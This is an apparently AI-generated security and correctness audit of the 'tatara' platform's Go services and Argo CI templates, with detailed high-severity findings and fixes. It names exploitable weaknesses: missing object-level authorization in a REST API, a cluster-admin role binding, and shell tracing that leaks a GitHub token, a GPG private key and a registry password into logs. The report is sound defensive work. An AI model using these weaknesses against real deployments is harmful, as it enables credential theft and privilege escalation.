tatara platform - deep audit report¶

Generated 367 raw findings across 32 audit units (6 Go services + Argo CI + cross-cutting) via a 3-stage workflow (115 agents): deep finder -> adversarial verifier (file:line confirmed) -> independent skeptic for high/critical. 352 confirmed after dropping 9 refuted + 2 skeptic-rejected. A coverage-critic follow-up added 2 more units (reaper GC, gonum math) = +23 findings (4 high); see the gap-fill section at the bottom.

Confirmed severity (main pass): critical 0, high 16, medium 113, low 152, nit 71. Plus gap-fill: high 4, medium 8, low/nit 11. Grand total ~375 confirmed, 20 high.

HIGH severity (16) - full detail¶

H1. [tatara-operator] ingestEnabled / semanticIngest are bool + omitempty + default=true; a user-set false is silently reset to true on any spec Update¶

• file: tatara-operator/api/v1alpha1/repository_types.go:15-23 | category: correctness | confidence: 0.9
• problem: Both IngestEnabled and SemanticIngest are Go bool with json:"...,omitempty" AND +kubebuilder:default=true. CRD defaulting runs at apiserver admission only when the field is absent from the submitted JSON. Because the field is a non-pointer bool with omitempty, the value false serializes to nothing (omitted). The RepositoryReconciler does a full r.Update(ctx, repo) to stamp the reingest annotation (repository_controller.go:326), which marshals the whole struct from the typed object - dropping any false value - so the apiserver re-applies the default true. Net effect: every scheduled-reingest stamp (and any other typed spec Update) silently flips a user's semanticIngest: false (explicitly documented as the way to avoid per-changed-file LLM cost) and ingestEnabled: false back to true, defeating the cost opt-out and re-enabling disabled ingests.
• fix: Make both fields *bool (e.g. IngestEnabled *bool, SemanticIngest *bool) keeping +kubebuilder:default=true; pointer fields preserve an explicit false through omitempty round-trips. Update consumers (repository_controller.go:89 if !repo.Spec.IngestEnabled, ingest/job.go:41) to deref with a nil-safe helper. Regenerate deepcopy/CRD.
• skeptic: Independently confirmed by reading the code fresh. In api/v1alpha1/repository_types.go:15-23 both IngestEnabled and SemanticIngest are non-pointer Go bool with json:"...,omitempty" AND +kubebuilder:default=true. The generated CRD (charts/tatara-operator/crds/tatara.dev_repositories.yaml:53-67) confirms type: boolean, default: true on both. With omitempty on a non-pointer bool, an explicit false serializes to nothing. The RepositoryReconciler does a real spec-level r.Update(ctx, repo) on a routine recurring path: scheduleNextReingest stamps the reingest annotation and calls r.Update

H2. [tatara-operator] GitLab MR webhooks panic: IssueRef has no '#', slicing with LastIndex(-1) is out of range¶

• file: tatara-operator/internal/webhook/server.go:289,480 | category: correctness | confidence: 0.9
• problem: repoSlug is computed as ev.IssueRef[:strings.LastIndex(ev.IssueRef, "#")]. For GitHub the IssueRef is always owner/repo#N, but GitLab MR refs are group/proj!iid (see glWorkItemEvent/glNoteEvent: sep is "!" when kind=="mr"). For a GitLab MR there is no '#', so LastIndex returns -1 and s[:-1] panics with 'slice bounds out of range'. Two reachable sites: line 289 (bot-authored GitLab MR -> kind=issueLifecycle, ev.IsPR true) and line 480 (GitLab MR Note Hook routed through handleIssueComment->createLifecycleTaskAtTriage). There is no middleware.Recoverer on the chi mux (cmd/manager/wire.go mounts a bare chi.NewRouter), so the panic aborts the request with no response, no metric, and no log; the event is silently dropped and the goroutine for that request dies. A GitLab-backed Project with a bot account or any MR comment triggers it.
• fix: Do not assume '#'. Either derive the repo slug from a separator-agnostic split (e.g. strip the trailing [#!]\d+ with a regex, or use strings.LastIndexAny(ev.IssueRef, "#!")), or carry the repo slug / number directly on WebhookEvent (Number is already present; the repo path is p.Project.PathWithNamespace / p.Repository.FullName) instead of re-parsing IssueRef. Guard against idx<0 before slicing in all three sites (289, 298, 480). Add middleware.Recoverer to the chi mux in wire.go as defense-in-depth so any future panic returns 500 + a metric instead of a silent drop.
• skeptic: Confirmed by reading the code fresh and reproducing the panic. For a GitLab MR, IssueRef is "group/proj!iid" with no '#': sep="!" set in gitlab.go:99 (Merge Request Hook -> glWorkItemEvent) and gitlab.go:139 (Note Hook with merge_request.iid -> glNoteEvent), and asserted by tests gitlab_test.go:31,66 ("g/p!34"). In server.go, repoSlug is computed as ev.IssueRef[:strings.LastIndex(ev.IssueRef, "#")]. I verified empirically that LastIndex("g/p!34", "#") == -1 and the slice s[:-1] panics with "slice bounds out of range [:-1]". Two sites are reachable with real GitLab MR webhook payloads: (1) serv

H3. [tatara-operator] REST API performs authentication but no object-level authorization (any valid token reaches every project/task)¶

• file: tatara-operator/internal/restapi/handlers.go:40-61, 222-269, 277-308 | category: security | confidence: 0.78
• problem: auth.Middleware only verifies the bearer token and injects Claims into the context (internal/auth/middleware.go:39); it does NOT scope access to a project/task. Every restapi handler ignores the claims entirely: getProject/listTasks/proposeIssue/reviewVerdict/etc. read s.ns + the URL param and operate on any resource. ClaimsFromContext is never called anywhere in the package. Any agent/service holding a valid token for the operator audience can read or mutate the status of ANY project's tasks (post review verdicts, queue comments, decline implementations, propose issues) across project boundaries. The handlers' job is per-Task agent self-reporting, so the subject in the token should be checked against the Task's expected agent/pod (Status.PodName) or at least the project ownership.
• fix: Read claims via auth.ClaimsFromContext(r.Context()) in a shared helper and authorize each request: at minimum verify the token subject/audience corresponds to the Task being mutated (e.g. match Claims.Subject/PreferredUsername against task.Status.PodName or a per-task token audience), and reject cross-project access with 403. Add a table-driven test asserting a token scoped to task A cannot patch task B.
• skeptic: Confirmed real by reading fresh. auth.Middleware (middleware.go:22-43) only verifies the bearer token against one OIDC issuer + one audience (tatara-operator, values.yaml:22) and injects Claims; it performs no authorization. Claims (verifier.go:18-22) carry only sub/preferred_username/iss - no project/task scope. Every restapi handler (handlers.go) operates on s.ns + URL param and NEVER calls auth.ClaimsFromContext (verified: zero call sites outside its definition). The only guards are task-kind checks (e.g. Kind != "review" -> 409), which scope verb-to-task-type, not actor-to-resource. Threat

H4. [tatara-operator] SCM list calls fetch only the first page (silent truncation of PRs/issues)¶

• file: tatara-operator/internal/scm/github_scan.go:43-77 | category: efficiency | confidence: 0.92
• problem: ListOpenPRs and ListOpenIssues do a single GET with no per_page and no Link-header following. ghDo (github.go:205-240) performs exactly one HTTP request and decodes one page. GitHub defaults to 30 items per page for /pulls and /issues, so any repo with >30 open PRs or >30 open issues has the tail silently dropped. Because selectCandidates orders stale-first, the items that get dropped are the most-recently-updated ones, but more importantly entire issues/PRs become invisible to the scanner, dedup, the orphan backstop (recoverOrphans also relies on ListOpenIssues), and proposalBacklog backpressure. The GitLab variant (gitlab_scan.go:30-62) has the same defect with a 20-item default page. ListBoardItems is hard-capped at first:100 with no cursor paging.
• fix: Add per_page=100 and follow the RFC5988 Link header rel="next" until exhausted (return all pages concatenated). For GraphQL board items, page via pageInfo.hasNextPage/endCursor. Centralize the paging loop in a ghDoPaged helper so both PR and issue listers share it; mirror with a glDoPaged using GitLab's X-Next-Page header.
• skeptic: Verified fresh against the code. ghDo (github.go:205-240) performs exactly one HTTP request and decodes one page; ListOpenPRs/ListOpenIssues (github_scan.go:43-77) send no per_page and there is zero Link-header handling anywhere in the SCM layer (grep for Link/per_page/hasNextPage/X-Next-Page found nothing). GitHub defaults to 30 items/page for /pulls and /issues, so any repo with >30 open PRs or >30 open issues silently loses the tail. ListBoardItems (79-134) is GraphQL items(first:100) with no pageInfo/endCursor follow, hard-capped at 100. The GitLab variant (gitlab_scan.go:30-62) is the ide

H5. [tatara-memory] code_edges primary key excludes extractor but reconcile deletes are extractor-scoped: cross-extractor edges become orphaned/un-reconcilable¶

• file: tatara-memory/internal/codegraph/pgstore.go:70-89,108-126 | category: correctness | confidence: 0.78
• problem: code_edges PRIMARY KEY is (repo, from_id, to_id, relation) (migration 0001 line 23) with extractor as a non-key column. Reconcile inserts edges with ON CONFLICT (repo, from_id, to_id, relation) DO UPDATE SET ... extractor=EXCLUDED.extractor, so a later push of the SAME (from,to,relation) tuple from a different extractor silently overwrites the existing row's extractor tag. But the per-file delete that owns reconciliation is extractor-scoped: DELETE FROM code_edges WHERE repo=\(1 AND src_file=\)2 AND extractor=$3. Consequence: if an 'ast' edge a->b/calls already exists and a 'semantic' push emits the same tuple, the row's extractor flips to 'semantic'. A subsequent AST reconcile of that file deletes WHERE extractor='ast' and never matches the row, so the stale edge survives forever even after the source code is deleted. The same applies to code_entities (PK (repo,id), extractor non-key, line 96-101) and code_hyperedges (PK (repo,id), line 147). File-granular reconcile is therefore not idempotent across extractors.
• fix: Make extractor part of the conflict target / primary key for edges, entities, and hyperedges (e.g. PK (repo, from_id, to_id, relation, extractor)) so each extractor owns its own rows and the extractor-scoped delete can always reclaim them. If a single row must be shared across extractors, the delete must instead clear by (repo, src_file) regardless of extractor, but that breaks origin scoping; the PK change is the correct fix.
• skeptic: Independently confirmed against schema and both component repos. code_edges PK is (repo, from_id, to_id, relation) with extractor a non-key column (migrations/0001 L23, 0004 L5); same for code_entities (PK repo,id) and code_hyperedges (PK repo,id). Reconcile deletes are extractor-scoped (pgstore.go:70,73,86) but upserts conflict on the PK and SET extractor=EXCLUDED.extractor (pgstore.go:96-101,119-122,147-150). The cross-extractor collision is NOT hypothetical: the AST and semantic stages push separately (ingester run.go:100 and :258) over overlapping src_files (Files: misses), the semantic ed

H6. [tatara-memory] Source-index failure marks the item failed after the memory was already created, causing a duplicate on retry and a misleading failed count¶

• file: tatara-memory/internal/ingest/pool.go:245-263 | category: correctness | confidence: 0.8
• problem: processItem returns the sources.Add error after CreateMemory has already succeeded and committed a document in LightRAG. runJob then records the item failed (MarkItemDone + IncrementJobProgress with itemErr) and bumps job.Failed. The memory exists but the job reports it as failed, and because the item is now 'failed' (or 'pending' again if a future orphan/reset path applies) a retry re-inserts the document (see creatememory-not-idempotent-on-key). The source index is a secondary projection; its failure should not roll the primary insert back to 'failed' nor trigger a re-insert.
• fix: Treat source-index failure as non-fatal to the item: log it (WARN) and increment a dedicated metric, but return nil so the item counts as done, or make sources.Add retried/repaired out-of-band. The item's terminal state must reflect the primary CreateMemory outcome.
• skeptic: Verified against source. processItem (pool.go:245-263) returns the sources.Add error AFTER CreateMemory already committed a document to LightRAG. CreateMemory (memory/service.go:91-102) is non-idempotent: it POSTs /documents/text via InsertText and takes LightRAG's freshly-assigned resp.TrackID as the ID, with no client-side dedup on idempotency key or content. When sources.Add (memory/sources.go:22-31, a Postgres INSERT) fails after the insert, runJob marks the item status='failed' (pgstore.go:129-141) and bumps job.Failed (pgstore.go:147-187), so a memory that genuinely exists is reported as

H7. [tatara-memory-repo-ingester] Repo-root chart: "./Chart.yaml"/"./values.yaml" never match diff paths, so value entities and subchart edges are never emitted¶

• file: tatara-memory-repo-ingester/internal/analyze/helm.go:66-148 | category: correctness | confidence: 0.88
• problem: When chartRoot=="." (a chart at the repo root), chartYAMLPath is computed as chartRoot+"/Chart.yaml" = "./Chart.yaml" and valuesPath = "./values.yaml". The diff file paths from git are "Chart.yaml" and "values.yaml" (no "./"). The membership checks filepath.ToSlash(f) == chartYAMLPath (line 86) and filepath.ToSlash(f) == valuesPath (line 123) therefore never match. Effects: (a) chartEntityPath stays "" even when Chart.yaml IS in the diff, so subchart edges are unconditionally omitted (line 104) and the helm_chart entity is wrongly marked repo-scoped on a full ingest; (b) values.yaml is never read so NO helm_value entities are emitted for a root chart, even on full ingest. The absChartYAML read at line 67 still succeeds only because filepath.Join cleans the "./", masking the defect at parse time.
• fix: Build chart-relative paths with path.Join (or filepath.Join + ToSlash) so "."+"/Chart.yaml" normalizes to "Chart.yaml": chartYAMLPath := path.Join(chartRoot, "Chart.yaml"), valuesPath := path.Join(chartRoot, "values.yaml"). That yields "Chart.yaml"/"values.yaml" for a root chart and matches the diff paths.
• skeptic: Confirmed real and reproduced empirically against the live analyzer. findChartRoot("Chart.yaml") returns "." (line 348), so line 66 builds chartYAMLPath="./Chart.yaml" and line 120 valuesPath="./values.yaml" via raw string concat. Diff/full-ingest paths come from git diff --name-status / git ls-files (internal/walk/walk.go) as raw relpaths with NO "./" prefix ("Chart.yaml","values.yaml"), so the equality checks at lines 86 and 123 never match for a root chart. Line 67's filepath.Join cleans the "./" and masks the defect at read time. Empirical run on pristine code (root chart, all three files

H8. [tatara-memory-repo-ingester] JS exported const x = () => {} / function expressions are not extracted (entity, provides symbol, calls all lost)¶

• file: tatara-memory-repo-ingester/internal/analyze/javascript.go:114-145,472-510 | category: correctness | confidence: 0.97
• problem: jsFileDefs and processFile both handle export_statement by inspecting only inner.Type() == function_declaration or class_declaration. The very common export const handler = () => {} (inner is a lexical_declaration) is silently skipped: no js_func entity, no defines edge, no provides SymbolRow, and any calls inside it are never emitted; it is also absent from moduleDefs/repoIndex so other files resolving handler fall through to dangling. Confirmed empirically: export const handler = () => g(); produced no js:func entity for handler and lost the g() call.
• fix: In both jsFileDefs and processFile add a case "lexical_declaration", "variable_declaration": arm under the export_statement inner switch that calls jsCollectArrowDefs (defs side) / emitArrowFuncs (process side) and emits provides SymbolRows for each exported arrow/function-expression binding.
• skeptic: Confirmed real and empirically verified against the live analyzer. Tree-sitter parses export const handler = () => {} as export_statement > lexical_declaration > variable_declarator > arrow_function (AST dumped). Both jsFileDefs (lines 113-143) and processFile (lines 472-510) switch the export_statement inner node only on function_declaration/class_declaration, with no lexical_declaration/variable_declaration arm, so the export-wrapped binding falls through silently. The top-level lexical_declaration case never fires because the top-level child is export_statement. End-to-end Analyze() run o

H9. [tatara-memory-repo-ingester] enclosingDef tests reference containment against the definition name-token range, not the function body, so almost no call edges are ever emitted¶

• file: tatara-memory-repo-ingester/internal/scip/scip.go:204-242 | category: correctness | confidence: 0.88
• problem: enclosingDef decides which definition a reference belongs to by testing whether the reference's start line falls within the definition occurrence's Range. But per the SCIP proto spec the Occurrence.Range of a definition is the half-open range of the symbol's name token (e.g. ^^^^^ range points only at parse in function parse(...)), not the function body. The body span lives in the separate EnclosingRange field, which this code never reads. A real definition Range is one line (or part of one line); a reference inside the function body is on a later line and will fail refLine >= startLine && refLine <= endLine. The test only passes because it hand-crafts a fake def Range of [0,0,5,0] spanning 5 lines, which a real SCIP indexer would never emit for a name token. Against actual scip-go / scip-typescript output this means edges are essentially never produced, and the few that are would be wrong.
• fix: Use the definition's EnclosingRange (the body span) for containment, falling back to Range only when EnclosingRange is empty. Read d.EnclosingRange in enclosingDef and compute start/end lines from it; if both endpoints resolve, test refLine against the enclosing span. Since the SCIP spec guarantees enclosing_range is optional, keep Range as a degenerate fallback but emit nothing when neither yields a multi-line body. Add a fixture-driven test using a realistic name-token Range plus a separate EnclosingRange.
• skeptic: Verified against the SCIP proto spec in scip@v0.8.1/scip.pb.go. Occurrence.Range doc (lines 2303-2326) defines Range as the occurrence's own span; for a definition that is the name token. Occurrence.EnclosingRange doc (lines 2346-2408) is explicit that it holds "the start/end bounds of the entire definition AST node," its canonical example shows ^^^^^ range covering only parse while enclosing_range covers the whole function parse(...) { ... }, and its first listed use is "Call hierarchies: to determine what symbols are references from the body of a function" - precisely what enclosingD

H10. [tatara-claude-code-wrapper] resumeTurn re-submits the prompt after --continue, double-submitting work claude may have already started/finished¶

• file: tatara-claude-code-wrapper/internal/session/session.go:388-456 | category: algorithm | confidence: 0.62
• problem: On mid-turn death, relaunch spawns claude with --continue (shouldResume() true whenever current!=\"\"), which restores the conversation INCLUDING the already-submitted user prompt and any partial assistant work. resumeTurn then writes rec.Text again as a fresh paste+submit. If claude had already received and was acting on the prompt before it died (the common case for a mid-turn crash), the resumed conversation now contains the prompt twice and claude re-does or duplicates the work (e.g. posts a second comment, opens a second PR, applies an edit twice). The resume path assumes the prompt was lost on death, but --continue specifically restores it, so the re-submit is not idempotent.
• fix: Do not blindly re-submit on --continue. Either (a) on resume, send a continuation nudge (e.g. an empty submit / 'continue') rather than the full original prompt, relying on --continue to have restored it; or (b) detect whether the prompt is already present in the restored transcript before re-pasting. If a true cold resubmit is needed, relaunch fresh (no --continue) so the conversation does not contain a duplicate prompt. Document the chosen idempotency contract in MEMORY.md.
• skeptic: Verified the defect is real by reading the code path and checking claude-code's actual persistence model against a live transcript.

Mechanism (session.go): on a mid-turn crash, watch() captures inFlight=mgr.current (line 354), and within the 3-restart budget calls relaunch() then resumeTurn(inFlight) (lines 384-386). relaunch() (line 392) spawns with mgr.shouldResume(), which returns true whenever current!="" - i.e. always in the mid-turn case - so claude relaunches with --continue (pty.go:56-59). resumeTurn() (lines 441-452) then unconditionally re-pastes rec.Text (the original prompt) and s

H11. [tatara-claude-code-wrapper] Turn timeout timer is left armed across the death/relaunch window and not refreshed on resume; can prematurely fail a healthy resumed turn or race the resumed submit¶

• file: tatara-claude-code-wrapper/internal/session/session.go:345-456 | category: concurrency | confidence: 0.7
• problem: watch() never stops mgr.timer when claude dies. The original time.AfterFunc(TurnTimeout, failTimeout(id)) from Submit (line 547) stays armed through the entire Dead -> relaunch -> bootWait -> resumeTurn sequence. If relaunch+boot consumes the remaining budget, failTimeout(id) fires DURING resumeTurn: failTimeout takes the lock, sees current==id, fails the turn and sets state Ready, while resumeTurn (which may already have written the paste to the PTY before failTimeout grabbed the lock, lines 442-452) then re-checks current!=id and no-ops. Net effect: a turn that was successfully resumed and is actively running in claude gets marked Failed, the operator is told it failed, yet claude keeps working and will eventually fire a Stop hook that Complete() mis-applies (see complete-no-turn-id-correlation). resumeTurn also does not reset currentStarted, so duration_ms accounting spans the crash gap. The 'keep the original timer' comment (line 429) makes the wall-clock budget include crash/boot time, which is not the turn's compute time.
• fix: In watch(), under the lock, Stop the existing timer before relaunch. In resumeTurn, after a successful re-submit, install a fresh timer (mgr.timer = time.AfterFunc(TurnTimeout, ...)) and reset currentStarted so the resumed turn gets a full, clean timeout budget and duration is measured from resume. This also closes the failTimeout-during-resume race.
• skeptic: Independently confirmed by reading session.go fresh. The turn timer is armed once in Submit (line 547: time.AfterFunc(TurnTimeout, failTimeout(id))) and is never stopped on the death/relaunch path. watch() (lines 345-387) captures inFlight=current, calls relaunch() which synchronously runs bootWait (up to BootTimeout, default 60s), then resumeTurn(id) - the original timer stays armed across all of it. resumeTurn (430-456) keeps the same turn id, does NOT install a fresh timer, and does NOT reset currentStarted (comment at 428-429 explicitly says it keeps the original timer). So if (time alread

H12. [cross-cutting] RoleBinding to cluster-admin grants the workflow SA far more than helmfile sync needs¶

• file: tatara-argo-workflows/charts/tatara-argo-workflows/templates/rbac.yaml:11-26 | category: security | confidence: 0.7
• problem: The argo-workflow SA is bound to the built-in cluster-admin ClusterRole (ns-scoped via RoleBinding). cluster-admin includes verbs like escalate, bind, impersonate and * on all namespaced resource types including Secrets, RoleBindings and ServiceAccounts in the tatara namespace. Any build pod (which runs attacker-influenceable clone/build scripts, see github-status-shell-injection) can read every secret in tatara and self-escalate. helmfile sync only needs create/update/patch on workloads + configmaps/secrets it manages.
• fix: Define a scoped Role (or admin built-in ClusterRole at most, which excludes escalate/bind/role-write) listing only the apiGroups/resources/verbs helmfile sync uses (apps/Deployments, /Secrets, /ConfigMaps, /Services, networking, argoproj if any) and bind that. Removing escalate/bind alone closes the self-escalation path.
• skeptic: Confirmed from source. rbac.yaml:11-25 binds ClusterRole/cluster-admin to ServiceAccount/argo-workflow via a namespace RoleBinding in tatara. Within the namespace the SA gets the full cluster-admin rule set (* * *, plus escalate/bind/impersonate and read on all secrets/serviceaccounts/roles/rolebindings) - strictly broader than helmfile sync needs (bounded create/update/get/delete on Deployments/Services/ConfigMaps/Secrets/CRs it manages). The escalate/bind verbs are gratuitous and enable in-namespace self-escalation. The attacker path is real: all CWT pods run in tatara with no per-templa

H13. [cross-cutting] lightrag NetworkPolicy egress targets non-existent postgres/neo4j selectors in the tatara-memory deployment¶

• file: tatara-memory/charts/tatara-memory/charts/lightrag/templates/networkpolicy.yaml:24-40 | category: correctness | confidence: 0.8
• problem: The lightrag subchart's NetworkPolicy is enabled by default (values.yaml networkPolicy.enabled: true, not overridden by the parent). Its egress rules hardcode podSelector cnpg.io/cluster: tatara-lightrag-database-cluster and app.kubernetes.io/name: neo4j. In the real tatara-memory deployment the cnpg cluster is tatara-memory-postgres (parent pgHost: tatara-memory-postgres-rw) and neo4j pods carry label helm.neo4j.com/neo4j.name: tatara-neo4j (see parent networkpolicy.yaml line 38), NOT app.kubernetes.io/name: neo4j. With Egress restricted, lightrag would be blocked from reaching Postgres and Neo4j, breaking its vector + graph storage. The selectors are non-parameterized (only ports are exposed via values), so this cannot be fixed from the helmfile.
• fix: Parameterize the egress selectors (e.g. networkPolicy.postgresClusterName / networkPolicy.neo4jName like the parent chart does) and set them in the parent values to the real selectors (cnpg.io/cluster: tatara-memory-postgres, helm.neo4j.com/neo4j.name: tatara-neo4j). Verify against the live deployment.
• skeptic: Re-derived from source and confirmed by rendering the actual parent chart (helm template tatara-memory charts/tatara-memory --show-only charts/lightrag/templates/networkpolicy.yaml). The defect is real.

EVIDENCE: 1. lightrag/templates/networkpolicy.yaml lines 13-15 set policyTypes [Ingress, Egress] with podSelector app.kubernetes.io/name=lightrag (line 10-12, confirmed in render to select the real lightrag pods). Egress therefore becomes a strict allowlist for lightrag. 2. Egress postgres rule (lines 26-32) hardcodes cnpg.io/cluster: tatara-lightrag-database-cluster. The cnpg cluster subcha

H14. [cross-cutting] set -eux traces the git clone URL containing GITHUB_TOKEN into pod logs¶

• file: tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-go-ci.yaml:79-80 | category: security | confidence: 0.85
• problem: Every clone step runs set -eux, so the shell xtrace prints each expanded command to stderr (captured in Argo pod logs / workflow archive). The clone embeds the token in the URL, so the line git clone https://x-access-token:<actual-token>@github.com/... is written verbatim to logs. The github-status-token grants repo write (used to push commit statuses) so the leak is material. Identical pattern in cwt-container-build.yaml:82-83, cwt-helm-publish.yaml:84-85, cwt-helmfile-deploy.yaml:81-82, cwt-go-release.yaml:78-79, cwt-tatara-memory-tag.yaml:74-75.
• fix: Use set -eu (drop x) for the clone step, or wrap only the clone in { set +x; git clone ...; } 2>/dev/null, or configure git credentials via a credential helper / GIT_ASKPASS so the token never appears in argv. Apply to all six clone steps.
• skeptic: Confirmed by reading all six templates fresh. Each clone step runs set -eux (xtrace) immediately before git clone "https://x-access-token:${GITHUB_TOKEN}@github.com/...", e.g. cwt-go-ci.yaml:79-80. With -x the shell prints each command AFTER variable expansion to stderr, so the resolved token appears verbatim in the line written to Argo pod logs and the workflow archive. Verified in all claimed files (line numbers shifted slightly: cwt-go-ci.yaml 79-80, cwt-container-build.yaml 82-83, cwt-helm-publish.yaml 84-85, cwt-helmfile-deploy.yaml 81-82, cwt-go-release.yaml 78-79, cwt-tatara-memor

H15. [cross-cutting] set -eux traces the base64 GPG private key into pod logs in helmfile-deploy¶

• file: tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-helmfile-deploy.yaml:116-119 | category: security | confidence: 0.85
• problem: The sync step runs set -eux then echo "$GPG_PRIVATE_RSA_B64" | base64 -d | gpg --batch --import. Under xtrace the shell prints the expanded echo <full-base64-of-GPG-private-key> line to logs, leaking the entire private signing key. The equivalent step in cwt-tatara-memory-tag.yaml:180 correctly wraps it as { set +x; echo "$GPG_PRIVATE_RSA_B64" | base64 -d | gpg --batch --import; } 2>/dev/null; helmfile-deploy was not given the same guard.
• fix: Mirror cwt-tatara-memory-tag.yaml: bracket the GPG import (and the harbor login echo) with { set +x; ...; } 2>/dev/null, or run the whole step with set -eu (no x). The echo "${HARBOR_PASSWORD}" | helm registry login line on 119 is also xtraced and leaks the harbor password the same way.
• skeptic: Genuine defect, independently confirmed. In /Users/szymonri/Documents/tatara/tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-helmfile-deploy.yaml the sync template (lines 114-124) runs set -eux. I empirically verified with busybox sh (same shell family as the alpine helmfile image) that under xtrace a pipeline traces each command after expansion: echo "$SECRET" | cat prints + echo topsecretvalue to stderr. Therefore: line 118 echo "$GPG_PRIVATE_RSA_B64" | base64 -d | gpg --batch --import traces + echo <full-base64-of-GPG-private-signing-key> into Argo-captured po

H16. [cross-cutting] set -eux traces the harbor password base64 in go-release goreleaser step¶

• file: tatara-argo-workflows/charts/tatara-argo-workflows/templates/cwt-go-release.yaml:114-116 | category: security | confidence: 0.85
• problem: The goreleaser step runs set -eux then B64=$(printf '%s:%s' "$HARBOR_USERNAME" "$HARBOR_PASSWORD" | base64 -w0). Under xtrace the expanded printf '%s:%s' robot$gitlab <actual-password> is printed to logs, leaking the harbor robot password. cwt-container-build.yaml:115 and cwt-tatara-memory-tag.yaml:102 correctly guard this with { set +x; B64=$(...); } 2>/dev/null; go-release does not.
• fix: Wrap the B64 assignment in { set +x; B64=$(printf '%s:%s' "$HARBOR_USERNAME" "$HARBOR_PASSWORD" | base64 -w0); } 2>/dev/null exactly as the container-build and memory-tag templates already do.
• skeptic: Verified fresh against the file. cwt-go-release.yaml line 114 is set -eux (xtrace on) and line 116 is the unguarded B64=$(printf '%s:%s' "$HARBOR_USERNAME" "$HARBOR_PASSWORD" | base64 -w0). Under set -x bash prints each command after variable expansion to stderr, so the trace emits the literal harbor robot username and plaintext password (and the base64 cred via the B64= assignment) into the Argo workflow pod logs on every release run. The two sibling templates confirm the intended pattern: cwt-container-build.yaml uses set -eu (no x) and still wraps the line in `{ set +x; B64=...; } 2

MEDIUM severity (113)¶

tatara-operator (39)¶

• recordResult stamps annTurnComplete without re-checking it is still the current turn (stale-callback TOCTOU) - tatara-operator/internal/controller/turncallback.go:140-178 [concurrency]
• recordResult resolves the Task by matching annCurrentTurn==turnID, then in a separate RetryOnConflict block re-Gets the task and stamps annTurnComplete unconditionally. It never re-verifies that fresh.Annotations[annCurrentTurn] still equals turnID. Between resolveTaskByTurn and
• fix: Inside the RetryOnConflict closure, after Get, bail out when the turn no longer matches: if fresh.Annotations[annCurrentTurn] != turnID { return nil } before stamping annTurnComplete (and apply the same guard to the subtask-result write).
• Several terminal park/give-up paths do not increment tatara_lifecycle_giveup_total - tatara-operator/internal/controller/lifecycle.go:576-579, 1016-1019, 1060-1069, 1096-1105, 1259-1262 [observability]
• RecordGiveup is the canonical metric for a lifecycle that terminates by parking. It is called for maxIterations, not-bot-authored, duplicate-merged-change and deadline, but NOT for the parks that are arguably the most operationally interesting: triage-failed (576), implement-fail
• fix: Add if r.LifecycleMetrics != nil { r.LifecycleMetrics.RecordGiveup(<reason>) } (guarded like the existing call sites) on each terminal park: "triage-failed", "implement-failed", "refused", "refused-no-explanation", "no-pr-number". Reason
• Most lifecycle SCM writer calls bypass recordSCM, so they are invisible to tatara_mcp_scm_write metric - tatara-operator/internal/controller/lifecycle.go:114, 886, 933, 1047, 1189, 1266, 1301, 1597, 1602, 1732 [observability]
• The codebase has an established pattern (writeback.go writeBackReview/writeBackSelfImprove, and lifecycle.go lines 305-306 and 864-868) of calling r.recordSCM(provider, verb, err) after every SCM write/read so it lands in the tatara_mcp_scm_write{provider,verb,result} counter. In
• fix: Add r.recordSCM(provider, verb, err) after each SCM call (verbs: "comment", "create_issue", "get_pr_state", "close_pr", "merge", "close_issue") exactly as writeback.go and the two compliant call sites already do. scmContext already returns
• Several Parked terminal transitions omit RecordGiveup, undercounting tatara_lifecycle_giveup_total - tatara-operator/internal/controller/lifecycle.go:576-579, 1016-1019, 1060-1062, 1096-1105, 1259-1262 [observability]
• tatara_lifecycle_giveup_total{reason} is the metric for lifecycle give-up events, and the deadline/not-bot-authored/duplicate-merged-change/maxIterations parks all call r.LifecycleMetrics.RecordGiveup(reason). But five other terminal park paths do not: triage-failed (576), implem
• fix: Add r.LifecycleMetrics.RecordGiveup() (guarded by the nil check already used elsewhere) immediately after each of these five park transitions, with reasons "triage-failed", "implement-failed", "refused", "refused-no-explanation", "n
• IssueOutcome metric recorded only for close; discuss and implement triage outcomes uncounted - tatara-operator/internal/controller/lifecycle.go:638-708, 870 [observability]
• r.Metrics.IssueOutcome(action) is the counter for triage decisions. finishTriage records it only on the close arm (via triageCloseIssue line 870). The discuss arm (638-669) and the implement arm (671-708) never call IssueOutcome, so the triage-decision distribution metric only ev
• fix: Call r.Metrics.IssueOutcome("discuss") in the discuss arm and r.Metrics.IssueOutcome("implement") in the implement arm (after the committing transition), mirroring the close arm, so the triage outcome distribution is complete.
• Reopening a recovery-exhausted bot PR is immediately re-closed every cron tick - tatara-operator/internal/controller/projectscan.go:505-531, 684-688 [algorithm]
• closeExhaustedPR's close comment promises "The branch is preserved - reopen to retry or hand-fix", but priorTerminalAttempts counts terminal (Done/Stopped/Parked) Tasks that are never garbage-collected (no task GC exists in the controller). Once a PR has reached maxRecoveryAttemp
• fix: Make the exhaustion gate cheap to escape: stamp the PR with a label (e.g. tatara-recovery-exhausted) on close and skip both re-adoption AND re-close when that label is present (so a human who removes the label resets recovery). Alternativel
• Shared stale existing snapshot lets issueScan duplicate a lifecycle Task mrScan just created - tatara-operator/internal/controller/projectscan.go:1124-1163 [concurrency]
• runScans lists existing Tasks ONCE and passes the same snapshot to mrScan then issueScan. mrScan can adopt a bot PR for issue #N and create an issueLifecycle Task keyed on the linked issue number (labelCand.number = dedupNumber). issueScan then runs with the stale existing (t
• fix: Re-list existing Tasks between mrScan and issueScan (as recoverOrphans already does via r.existingScanTasks), or have createScanTask append the created Task to the in-memory existing slice (pass *[]Task) so later activities in the same re
• Selected items skipped by budget exhaustion get no metric and do not raise the backlog flag - tatara-operator/internal/controller/projectscan.go:671-724, 816-840 [observability]
• mrScan/issueScan emit skipped_cap for len(eligible)-len(selected) BEFORE the create loop, then the create loop breaks when *budget <= 0. Items in selected that are never created because budget ran out get NO metric (not skipped_cap, not picked, not skipped_dedup) - they vanish
• fix: Track created vs len(selected); emit a skipped_budget metric for (len(selected)-created) un-created items, and return backlog = created < len(eligible) (or OR-in created < len(selected)) so budget-truncated work triggers the short backlogRe
• Open issues re-listed up to 3x per repo per reconcile cycle (N+1 to SCM) - tatara-operator/internal/controller/projectscan.go:750-755,990,1043 [efficiency]
